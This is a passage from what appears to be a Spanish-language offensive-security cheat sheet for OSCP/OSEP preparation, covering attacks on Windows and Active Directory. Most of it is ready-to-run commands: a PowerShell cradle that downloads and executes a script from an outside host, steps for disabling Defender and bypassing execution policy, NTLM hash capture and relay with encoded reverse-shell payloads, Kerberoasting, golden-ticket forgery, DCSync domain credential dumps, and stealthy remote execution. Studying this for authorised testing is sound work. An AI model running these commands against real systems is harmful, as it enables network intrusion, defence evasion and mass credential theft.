# Generar archivos maliciosos que capturan hashes cuando se abren
python ntlm_theft.py -g all -s 10.10.14.50 -f malicious_file

# Iniciar Responder
sudo responder -I tun0 -wA

# Cuando víctima abra el archivo, capturamos su hash NetNTLMv2

🎭 Evasión y OpSec

Bypass de PowerShell Execution Policy

1
2
3
4
5
# Bypass de política de ejecución
powershell -ep bypass

# Ejecutar script sin tocar disco
powershell -ep bypass -c "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.50/script.ps1')"

Deshabilitar Windows Defender

1
2
3
4
5
# Requiere Administrator
Set-MpPreference -DisableRealtimeMonitoring $true

# Verificar estado
Get-MpPreference | select DisableRealtimeMonitoring

Forzar Pwned (Local Account Token Filter Policy)

1
2
# Habilitar Pass-the-Hash con cuentas locales
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

Más info: LocalAccountTokenFilterPolicy

Habilitar RDP Remotamente

1
2
3
4
5
6
7
8
# Con PowerShell
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"

# Con CMD
sc config RemoteRegistry start= auto
net start remoteregistry
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

🐍 Impacket - Suite Python para Protocolos de Red

Impacket es una colección de clases Python para trabajar con protocolos de red, especialmente útil para pentesting de entornos Windows y Active Directory. Desarrollada por Fortra (anteriormente Core Security), es una de las herramientas más importantes en el arsenal de un pentester.

¿Qué es Impacket?

Impacket proporciona:

  • ✅ Acceso de bajo nivel a paquetes de red
  • ✅ Implementación de protocolos SMB, MSRPC, LDAP, Kerberos
  • ✅ +50 scripts listos para usar
  • ✅ Soporte para Python 3
  • ✅ Activamente mantenido

Repositorio oficial: https://github.com/fortra/impacket

Instalación

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# Método 1: pip (recomendado - siempre actualizado)
pip3 install impacket

# Método 2: Desde fuente (desarrollo)
git clone https://github.com/fortra/impacket.git
cd impacket
pip3 install .

# Método 3: Instalación en modo desarrollo (modificar código)
git clone https://github.com/fortra/impacket.git
cd impacket
pip3 install -e .

# Verificar instalación
impacket-psexec -h
ls /usr/share/doc/python3-impacket/examples/

# Actualizar Impacket
pip3 install --upgrade impacket

Ubicación de scripts (en Kali Linux):

  • Prefijo impacket-: Comandos en PATH (ej: impacket-psexec)
  • Scripts originales: /usr/share/doc/python3-impacket/examples/

Categorías de Herramientas

Impacket se divide en varias categorías según funcionalidad:

1
2
3
4
5
6
7
8
9
📁 Impacket Suite
├── 🎫 Kerberos: GetNPUsers, GetUserSPNs, getTGT, ticketer
├── 💀 Credenciales: secretsdump, mimikatz, reg, dpapi
├── 🚀 Ejecución Remota: psexec, smbexec, wmiexec, dcomexec, atexec
├── 🔍 Enumeración: lookupsid, samrdump, rpcdump, enum*
├── 🗄️ Bases de Datos: mssqlclient, mqsend
├── 🌐 NTLM Relay: ntlmrelayx, smbrelayx
├── 📋 SMB: smbclient, smbserver, addcomputer
└── 🎭 Otros: raiseChild, rbcd, getST, findDelegation

🎫 Herramientas Kerberos

GetNPUsers.py - ASREPRoasting

Uso: Extrae TGTs de usuarios sin pre-autenticación Kerberos requerida.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Sintaxis básica
impacket-GetNPUsers DOMAIN/ -no-pass -usersfile users.txt

# Enumeración sin credenciales (no-pass)
impacket-GetNPUsers domain.local/ -no-pass -usersfile users.txt

# Con credenciales válidas (más completo)
impacket-GetNPUsers domain.local/user:password -request

# Con autenticación Kerberos
impacket-GetNPUsers domain.local/user:password -k -dc-ip 10.10.10.200

# Especificar formato de output
impacket-GetNPUsers domain.local/user:password -request -format hashcat
impacket-GetNPUsers domain.local/user:password -request -format john

# Guardar hashes en archivo
impacket-GetNPUsers domain.local/user:password -request -outputfile asrep_hashes.txt

# Especificar DC
impacket-GetNPUsers domain.local/user:password -dc-ip 10.10.10.200 -request

Output ejemplo:

1
$krb5asrep$23$john@DOMAIN.LOCAL:a855fc434...

Crackear hash:

1
2
3
4
5
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt asrep_hashes.txt

# Hashcat (modo 18200)
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

GetUserSPNs.py - Kerberoasting

Uso: Solicita TGS tickets de cuentas de servicio para crackeo offline.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Sintaxis básica
impacket-GetUserSPNs DOMAIN/USER:PASSWORD

# Solicitar todos los TGS
impacket-GetUserSPNs domain.local/user:password -request

# Guardar en archivo
impacket-GetUserSPNs domain.local/user:password -request -outputfile tgs_hashes.txt

# Con autenticación Kerberos
impacket-GetUserSPNs domain.local/user:password -k -dc-ip 10.10.10.200 -request

# Especificar DC por hostname (añadir a /etc/hosts)
echo "10.10.10.200 dc1.domain.local" | sudo tee -a /etc/hosts
impacket-GetUserSPNs domain.local/user:password -dc-host dc1.domain.local -request

# Solo enumerar usuarios con SPN (sin solicitar tickets)
impacket-GetUserSPNs domain.local/user:password

# Con hash NTLM
impacket-GetUserSPNs domain.local/user -hashes :ntlm_hash -request

Fix para error “Exceptions must derive from BaseException”:

Editar /usr/share/doc/python3-impacket/examples/GetUserSPNs.py línea 260:

1
2
3
4
5
# Cambiar de:
target = self.getMachineName()

# A:
target = self.__kdcHost

Crackear TGS:

1
2
3
4
5
# John the Ripper (modo krb5tgs)
john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt tgs_hashes.txt

# Hashcat (modo 13100)
hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt

getTGT.py - Obtener TGT

Uso: Solicita un Ticket Granting Ticket usando credenciales.

1
2
3
4
5
6
7
8
9
10
11
12
13
# Con usuario y contraseña
impacket-getTGT domain.local/user:password

# Con hash NTLM
impacket-getTGT domain.local/user -hashes :ntlm_hash

# Con hash AES
impacket-getTGT domain.local/user -aesKey aes_key

# Especificar DC
impacket-getTGT domain.local/user:password -dc-ip 10.10.10.200

# Output: user.ccache (archivo de ticket)

Usar el ticket obtenido:

1
2
3
4
5
6
# Exportar ticket a variable de entorno
export KRB5CCNAME=user.ccache

# Usar con otras herramientas impacket
impacket-psexec domain.local/user@dc1.domain.local -k -no-pass
impacket-secretsdump domain.local/user@dc1.domain.local -k -no-pass

ticketer.py - Crear Silver/Golden Tickets

Uso: Forja tickets Kerberos (Silver o Golden Tickets).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Crear Silver Ticket
impacket-ticketer -nthash ntlm_hash \
  -domain-sid S-1-5-21-xxx-xxx-xxx \
  -domain domain.local \
  -spn MSSQLSvc/dc1.domain.local \
  -user-id 500 \
  Administrator

# Crear Golden Ticket
impacket-ticketer -nthash krbtgt_ntlm_hash \
  -domain-sid S-1-5-21-xxx-xxx-xxx \
  -domain domain.local \
  Administrator

# Con hash AES (más sigiloso)
impacket-ticketer -aesKey aes_key \
  -domain-sid S-1-5-21-xxx-xxx-xxx \
  -domain domain.local \
  Administrator

# Especificar duración del ticket
impacket-ticketer -nthash hash -domain domain.local -duration 365 Administrator

Usar ticket forjado:

1
2
export KRB5CCNAME=Administrator.ccache
impacket-psexec domain.local/Administrator@dc1.domain.local -k -no-pass

💀 Herramientas de Credenciales

secretsdump.py - Extraer Credenciales

LA herramienta más importante de Impacket para dumping de credenciales.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# Dump SAM local (hashes de cuentas locales)
impacket-secretsdump domain.local/administrator:password@10.10.10.200

# Con hash NTLM (Pass-the-Hash)
impacket-secretsdump domain.local/administrator@10.10.10.200 -hashes :ntlm_hash

# Dump desde archivos SAM y SYSTEM (offline)
impacket-secretsdump -sam SAM -system SYSTEM LOCAL

# Dump NTDS.dit desde archivos (Domain Controller)
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

# Dump completo (SAM + LSA + NTDS si es DC)
impacket-secretsdump domain.local/administrator:password@10.10.10.200

# Solo dump de NTDS (todos los hashes del dominio)
impacket-secretsdump domain.local/administrator:password@10.10.10.200 -just-dc

# Dump de NTDS con historial de contraseñas
impacket-secretsdump domain.local/administrator:password@10.10.10.200 -just-dc -history

# Dump con usuario Kerberos
impacket-secretsdump domain.local/administrator@dc1.domain.local -k -no-pass

# DCSync attack (sin tocar NTDS.dit)
impacket-secretsdump domain.local/administrator:password@10.10.10.200 -just-dc-ntlm

# Dump de usuario específico
impacket-secretsdump domain.local/administrator:password@10.10.10.200 -just-dc-user krbtgt

# Guardar en archivo
impacket-secretsdump domain.local/admin:pass@10.10.10.200 -outputfile domain_dump

Output ejemplo:

1
2
3
4
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7574cbf9d92c39d1d4dccd7b89301d2f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8d3d50e219e6e5b8e8b7e4c0e8b7f0:::

Opciones útiles:

1
2
3
4
5
6
-just-dc          # Solo NTDS (requiere Domain Admin o similar)
-just-dc-ntlm     # Solo hashes NTLM (más rápido)
-just-dc-user USER # Solo un usuario específico
-history          # Incluir historial de contraseñas
-use-vss          # Usar Volume Shadow Copy (menos detección)
-exec-method      # Método de ejecución: smbexec, wmiexec, mmcexec

🚀 Herramientas de Ejecución Remota

Impacket tiene múltiples herramientas para ejecutar comandos remotamente, cada una con ventajas/desventajas.

psexec.py - Ejecución vía SMB + Servicio

Cómo funciona: Copia un servicio binario vía SMB y lo ejecuta como servicio.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Sintaxis básica
impacket-psexec DOMAIN/USER:PASSWORD@TARGET

# Con credenciales
impacket-psexec domain.local/administrator:password@10.10.10.200

# Con hash NTLM
impacket-psexec domain.local/administrator@10.10.10.200 -hashes :ntlm_hash

# Con Kerberos
impacket-psexec domain.local/administrator@dc1.domain.local -k -no-pass

# Ejecutar comando único (no shell interactivo)
impacket-psexec domain.local/admin:pass@10.10.10.200 -command 'whoami'

# Especificar share para servicio (default: ADMIN$)
impacket-psexec domain.local/admin:pass@10.10.10.200 -share C$

Ventajas:

  • ✅ Funciona en casi todos los entornos Windows
  • ✅ Obtiene sesión SYSTEM
  • ✅ Bien documentado y estable

Desventajas:

  • ❌ Crea servicio (detectable, logs)
  • ❌ Escribe en disco
  • ❌ Requiere SMB signing deshabilitado o privilegios admin

Eventos generados:

  • Event ID 7045: Nuevo servicio instalado
  • Event ID 5145: Acceso a share de red

smbexec.py - Ejecución vía SMB sin servicio

Cómo funciona: Crea scheduled task temporal vía SMB.

1
2
3
4
5
6
7
8
# Sintaxis (igual que psexec)
impacket-smbexec domain.local/administrator:password@10.10.10.200

# Con hash
impacket-smbexec domain.local/administrator@10.10.10.200 -hashes :ntlm_hash

# Con modo stealthy (sin output en disco)
impacket-smbexec domain.local/admin:pass@10.10.10.200 -mode SHARE

Ventajas:

  • ✅ No crea servicio
  • ✅ Menos detección que psexec
  • ✅ Output más limpio

Desventajas:

  • ❌ Requiere escribir en ADMIN$
  • ❌ Puede fallar en entornos hardened

wmiexec.py - Ejecución vía WMI

Cómo funciona: Usa WMI (Windows Management Instrumentation) para ejecutar comandos.

1
2
3
4
5
6
7
8
9
10
11
# Sintaxis básica
impacket-wmiexec domain.local/administrator:password@10.10.10.200

# Con hash
impacket-wmiexec domain.local/administrator@10.10.10.200 -hashes :ntlm_hash

# Sin shell (comando único)
impacket-wmiexec domain.local/admin:pass@10.10.10.200 'ipconfig'

# Con Kerberos
impacket-wmiexec domain.local/admin@dc1.domain.local -k -no-pass

Ventajas:

  • MÁS SIGILOSO: No escribe en disco
  • ✅ No crea servicios
  • ✅ Funciona si RPC está habilitado
  • ✅ Usado comúnmente por administradores (se mezcla)

Desventajas:

  • ❌ Requiere WMI habilitado
  • ❌ Puede ser bloqueado por firewall
  • ❌ Output puede tener formato extraño

💡 Recomendación: wmiexec es generalmente la mejor opción por ser más sigiloso.

dcomexec.py - Ejecución vía DCOM

Cómo funciona: Usa objetos DCOM para ejecución remota.

1
2
3
4
5
6
7
8
9
10
# Sintaxis básica
impacket-dcomexec domain.local/administrator:password@10.10.10.200

# Con hash
impacket-dcomexec domain.local/administrator@10.10.10.200 -hashes :ntlm_hash

# Especificar método DCOM
impacket-dcomexec domain.local/admin:pass@10.10.10.200 -object MMC20
impacket-dcomexec domain.local/admin:pass@10.10.10.200 -object ShellWindows
impacket-dcomexec domain.local/admin:pass@10.10.10.200 -object ShellBrowserWindow

Ventajas:

  • ✅ Muy sigiloso
  • ✅ No crea servicios ni archivos
  • ✅ Alternativa cuando WMI está bloqueado

Desventajas:

  • ❌ Menos estable que otras opciones
  • ❌ Puede fallar en configuraciones restrictivas

atexec.py - Ejecución vía Task Scheduler

Cómo funciona: Crea scheduled task vía ATSVC RPC.

1
2
3
4
5
# Ejecutar comando
impacket-atexec domain.local/administrator:password@10.10.10.200 'whoami'

# Con hash
impacket-atexec domain.local/administrator@10.10.10.200 -hashes :ntlm_hash 'ipconfig'

Ventajas:

  • ✅ Útil cuando otros métodos fallan
  • ✅ Permite scheduling de tareas

Desventajas:

  • ❌ No es shell interactivo (comando único)
  • ❌ Crea scheduled task (detectable)

Comparativa de Métodos de Ejecución

HerramientaEscribe DiscoCrea ServicioSigilosoEstabilidadPrivilegios
psexec✅ Sí✅ Sí❌ Bajo⭐⭐⭐⭐⭐SYSTEM
smbexec✅ Sí❌ No🟡 Medio⭐⭐⭐⭐SYSTEM
wmiexec❌ No❌ No✅ Alto⭐⭐⭐⭐Admin
dcomexec❌ No❌ No✅ Muy Alto⭐⭐⭐Admin
atexec❌ No🟡 Task🟡 Medio⭐⭐Admin

Recomendación: Usa wmiexec como primera opción. Si falla, prueba psexec.

🗄️ Herramientas de Bases de Datos

mssqlclient.py - Cliente Microsoft SQL Server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Conexión básica
impacket-mssqlclient user:password@10.10.10.200

# Con puerto personalizado
impacket-mssqlclient user:password@10.10.10.200 -port 1433

# Con Windows Authentication
impacket-mssqlclient domain.local/user:password@10.10.10.200 -windows-auth

# Con hash NTLM
impacket-mssqlclient domain.local/user@10.10.10.200 -windows-auth -hashes :ntlm_hash

# Con Kerberos
impacket-mssqlclient dc1.domain.local -k -no-pass

# Ejecutar archivo SQL
impacket-mssqlclient user:pass@10.10.10.200 -file commands.sql

Comandos útiles dentro de mssqlclient:

1
2
3
4
5
SQL> SELECT @@version;
SQL> SELECT name FROM master.sys.databases;
SQL> EXEC xp_cmdshell 'whoami';
SQL> enable_xp_cmdshell  # Habilita xp_cmdshell
SQL> disable_xp_cmdshell # Deshabilita xp_cmdshell

🌐 NTLM Relay

ntlmrelayx.py - NTLM Relay Attack

Uso: Relay de autenticaciones NTLM a otros sistemas.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# Relay básico a SMB
impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.10.200

# Relay con ejecución de comando
impacket-ntlmrelayx --no-http-server -smb2support \
  -t 10.10.10.200 \
  -c 'powershell -enc BASE64_PAYLOAD'

# Relay a múltiples targets desde archivo
impacket-ntlmrelayx --no-http-server -smb2support -tf targets.txt

# Relay con dump de SAM
impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.10.200 -e payload.exe

# Relay a LDAP (DCSync)
impacket-ntlmrelayx --no-http-server -smb2support \
  -t ldap://10.10.10.200 \
  --escalate-user lowpriv

# Relay con SOCKS proxy
impacket-ntlmrelayx --no-http-server -smb2support -tf targets.txt -socks

# Usar con Responder
# Terminal 1:
sudo responder -I tun0 -v

# Terminal 2:
impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.10.200

Requisitos:

  • SMB signing debe estar deshabilitado en target
  • Necesitas forzar una autenticación (Responder, coercion, etc.)

📋 Herramientas SMB

smbclient.py - Cliente SMB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Conectar a share
impacket-smbclient domain.local/user:password@10.10.10.200

# Con hash
impacket-smbclient domain.local/user@10.10.10.200 -hashes :ntlm_hash

# Listar shares
impacket-smbclient user:pass@10.10.10.200 -c 'shares'

# Comandos dentro de smbclient
shares  # Listar shares
use C$  # Seleccionar share
ls      # Listar archivos
cd dir  # Cambiar directorio
get file.txt  # Descargar archivo
put local.txt remote.txt  # Subir archivo

smbserver.py - Servidor SMB

Uso: Crear servidor SMB temporal para transferir archivos.

1
2
3
4
5
6
7
8
9
# Servidor SMB básico sin autenticación
impacket-smbserver share /path/to/folder -smb2support

# Con usuario y contraseña
impacket-smbserver share /path/to/folder -smb2support -username user -password pass

# Desde Windows, acceder al share:
# net use \\10.10.14.50\share
# copy file.exe \\10.10.14.50\share\

💡 Tip: Muy útil para exfiltrar archivos o servir payloads.

🔍 Herramientas de Enumeración

lookupsid.py - Enumerar usuarios vía SID

1
2
3
4
5
6
7
# Enumerar usuarios del dominio
impacket-lookupsid domain.local/user:password@10.10.10.200

# Con hash
impacket-lookupsid domain.local/user@10.10.10.200 -hashes :ntlm_hash

# Output: Lista de usuarios y grupos con sus SIDs

rpcdump.py - Enumerar endpoints RPC

1
2
3
4
5
# Listar endpoints RPC disponibles
impacket-rpcdump domain.local/user:password@10.10.10.200

# Sin credenciales (null session)
impacket-rpcdump @10.10.10.200

reg.py - Acceso remoto al registro

1
2
3
4
5
6
7
8
9
# Leer clave de registro
impacket-reg domain.local/user:password@10.10.10.200 query -keyName HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion

# Guardar hive de registro
impacket-reg domain.local/user:password@10.10.10.200 save -keyName HKLM\\SAM

# Backup de SAM
impacket-reg domain.local/admin:pass@10.10.10.200 save -keyName HKLM\\SAM
impacket-reg domain.local/admin:pass@10.10.10.200 save -keyName HKLM\\SYSTEM

🎭 Herramientas Avanzadas

addcomputer.py - Añadir cuenta de computadora

1
2
3
4
5
6
7
8
# Añadir nueva cuenta de computadora al dominio
impacket-addcomputer domain.local/user:password -computer-name EVILPC -computer-pass 'Password123!'

# Con hash
impacket-addcomputer domain.local/user -hashes :ntlm_hash -computer-name EVILPC -computer-pass 'Password123!'

# Especificar DC
impacket-addcomputer domain.local/user:pass -dc-ip 10.10.10.200 -computer-name EVILPC

Uso: Explotación de Resource-Based Constrained Delegation (RBCD).

rbcd.py - Resource-Based Constrained Delegation

1
2
3
4
5
6
7
8
# Configurar RBCD
impacket-rbcd domain.local/user:password -delegate-from 'EVILPC$' -delegate-to 'TARGET$' -action write

# Leer configuración RBCD
impacket-rbcd domain.local/user:password -delegate-to 'TARGET$' -action read

# Remover RBCD
impacket-rbcd domain.local/user:password -delegate-from 'EVILPC$' -delegate-to 'TARGET$' -action remove

getST.py - Solicitar Service Ticket

1
2
3
4
5
6
7
8
9
# Solicitar TGS para servicio específico
impacket-getST domain.local/user:password -spn cifs/target.domain.local

# Con impersonación de usuario
impacket-getST domain.local/evilpc$ -spn cifs/target.domain.local -impersonate administrator

# Usar ticket obtenido
export KRB5CCNAME=administrator.ccache
impacket-psexec domain.local/administrator@target.domain.local -k -no-pass

Workflows Completos con Impacket

Workflow 1: Desde Credenciales a Domain Admin

1
2
3
4
5
6
7
8
9
10
11
12
# 1. Kerberoasting
impacket-GetUserSPNs domain.local/user:pass -request -outputfile tgs.txt
john --format=krb5tgs tgs.txt

# 2. Enum con nuevas credenciales
impacket-secretsdump domain.local/service_account:cracked_pass@10.10.10.200

# 3. Pass-the-Hash con hash obtenido
impacket-psexec domain.local/administrator@10.10.10.200 -hashes :ntlm_hash

# 4. Dump completo del dominio
impacket-secretsdump domain.local/administrator@10.10.10.200 -just-dc -outputfile domain_hashes

Workflow 2: ASREPRoasting Attack

1
2
3
4
5
6
7
8
9
10
11
# 1. Enumerar usuarios ASREPRoastables
impacket-GetNPUsers domain.local/ -no-pass -usersfile users.txt -outputfile asrep.txt

# 2. Crackear hashes
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

# 3. Validar credenciales
impacket-smbclient domain.local/user:cracked_pass@10.10.10.200

# 4. Ejecutar comandos
impacket-wmiexec domain.local/user:cracked_pass@10.10.10.200

Workflow 3: NTLM Relay con Impacket

1
2
3
4
5
6
7
8
9
10
# Terminal 1: Iniciar Responder
sudo responder -I tun0 -v

# Terminal 2: ntlmrelayx
impacket-ntlmrelayx --no-http-server -smb2support \
  -t 10.10.10.200 \
  -c 'powershell -enc BASE64_REVERSE_SHELL'

# Terminal 3: Forzar autenticación (ejemplo con PetitPotam)
python3 PetitPotam.py -u user -p pass -d domain.local 10.10.14.50 10.10.10.200

Tips y Trucos

1. Sincronización de tiempo para Kerberos

1
2
# Kerberos requiere sincronización (max 5 min diferencia)
sudo ntpdate -u domain.local

2. Configurar /etc/hosts para Kerberos

1
echo "10.10.10.200 dc1.domain.local domain.local" | sudo tee -a /etc/hosts

3. Usar variables de entorno para tickets

1
2
export KRB5CCNAME=/path/to/ticket.ccache
# Ahora todas las herramientas impacket usarán este ticket

4. Combinar herramientas

1
2
3
4
# Dump con secretsdump y crack con hashcat
impacket-secretsdump domain.local/admin:pass@10.10.10.200 -just-dc-ntlm | tee ntlm_hashes.txt
cat ntlm_hashes.txt | cut -d: -f4 > hashes_only.txt
hashcat -m 1000 hashes_only.txt /usr/share/wordlists/rockyou.txt

5. Automatizar con scripts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/bash
# Script para dump completo de dominio
DOMAIN="domain.local"
USER="administrator"
PASS="password"
DC="10.10.10.200"

echo "[+] Dumping SAM..."
impacket-secretsdump $DOMAIN/$USER:$PASS@$DC -just-dc-ntlm -outputfile dc_ntlm

echo "[+] Dumping with history..."
impacket-secretsdump $DOMAIN/$USER:$PASS@$DC -just-dc -history -outputfile dc_full

echo "[+] Dumping krbtgt..."
impacket-secretsdump $DOMAIN/$USER:$PASS@$DC -just-dc-user krbtgt -outputfile krbtgt

Troubleshooting Común

Error: “Clock skew too great”

1
sudo ntpdate -u domain.local

Error: “KDC_ERR_PREAUTH_FAILED”

1
2
3
# Credenciales incorrectas o cuenta bloqueada
# Verificar con:
netexec smb 10.10.10.200 -u user -p pass

Error: “STATUS_ACCESS_DENIED”

1
2
# No tienes permisos suficientes
# Prueba con otro usuario o escala privilegios

Error: “Name not found”

1
2
# Añade el hostname a /etc/hosts
echo "10.10.10.200 dc1.domain.local" | sudo tee -a /etc/hosts

ImportError: No module named ‘impacket’

1
2
# Reinstalar impacket
pip3 install --upgrade impacket

Referencias

🎯 MITRE ATT&CK: T1003 - OS Credential Dumping, T1021 - Remote Services, T1558 - Steal or Forge Kerberos Tickets


🛠️ Herramientas Imprescindibles

Suite de Herramientas

HerramientaUso Principal
BloodHoundMapeo de rutas de ataque en AD
MimikatzExtracción de credenciales
CrackMapExecEnumeración y explotación SMB/AD
ResponderCaptura de hashes NTLM
ImpacketSuite de herramientas para protocolos Windows
PowerViewEnumeración de AD desde PowerShell
RubeusAbuso de Kerberos desde Windows
SharpHoundRecolector de datos para BloodHound

🎓 Tips para OSCP/OSEP

Checklist de Enumeración Windows

  • Información de sistema y usuario (systeminfo, whoami /all)
  • Usuarios y grupos locales (net users, net localgroup)
  • Servicios en ejecución (Get-CimInstance win32_service)
  • Procesos activos (tasklist, Get-Process)
  • Conexiones de red (netstat -ano)
  • Software instalado (registro)
  • Historial de PowerShell
  • Archivos interesantes (Desktop, Documents, Downloads)
  • Credenciales en archivos de configuración

Checklist de Active Directory

  • Enumerar usuarios con BloodHound/PowerView
  • Buscar usuarios Kerberoastable
  • Buscar usuarios ASREPRoastable
  • Verificar permisos de objetos (ACLs)
  • Buscar GPOs interesantes
  • Revisar shares de red
  • Buscar contraseñas en descripción de usuarios
  • Verificar trusts de dominio

Comandos Rápidos para Examen

1
2
3
4
5
6
7
8
# Enumeración rápida de AD
bloodhound-python -c all -u user -p pass -ns 10.10.10.10 -d domain.local

# Kerberoasting
impacket-GetUserSPNs domain.local/user:pass -request -outputfile hashes.txt

# Pass-the-Hash
crackmapexec smb 10.10.10.0/24 -u admin -H hash --continue-on-success

📚 Referencias

Frameworks y Metodologías

Herramientas

Documentación


Última actualización: 2025-01-10 Autor: alorente Licencia: Creative Commons BY-NC-SA 4.0

Esta entrada está licenciada bajo CC BY 4.0 por el autor.